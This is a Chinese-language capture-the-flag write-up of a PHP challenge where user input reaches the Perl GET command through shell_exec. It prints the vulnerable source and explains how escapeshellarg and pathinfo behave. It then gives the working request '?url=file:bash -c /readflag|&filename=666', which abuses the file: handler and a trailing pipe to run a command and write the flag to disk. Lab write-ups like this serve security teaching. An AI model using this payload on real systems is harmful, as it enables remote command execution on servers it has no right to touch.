访问页面,代码审计;
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
我的$_SERVER["REMOTE_ADDR"]
为172.16.128.254
通过审计可以知道,$sandbox
等于"sandbox/"
+md5("orange172.16.128.254")
;
现在已经创建了这样的目录,并且处在这个目录下
接着执行get命令,内容为$url
;
然后在当前目录下创建名为$filename
的文件;
escapeshellarg()
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数;
另外,了解一下pathinfo()
函数;
pathinfo()
以数组的形式返回文件路径的信息;
首先,先到GET根目录(相对的)并且创建文件test
,即:
?url=/&filename=test
接着访问:
/sandbox/fcf2bccafc269c160382150a0166d632/test
可以看到
看到目录下有readflag,利用bash来执行;
用bash
是因为如果直接用./readflag
,那么.
会被php解析为_
;
?url=file:bash -c /readflag|&filename=666 //注意管道符
把flag
写到666
中;
访问666
;
得到flag
flag{d4348da2-3a68-4663-be18-fd5fc7b214a5}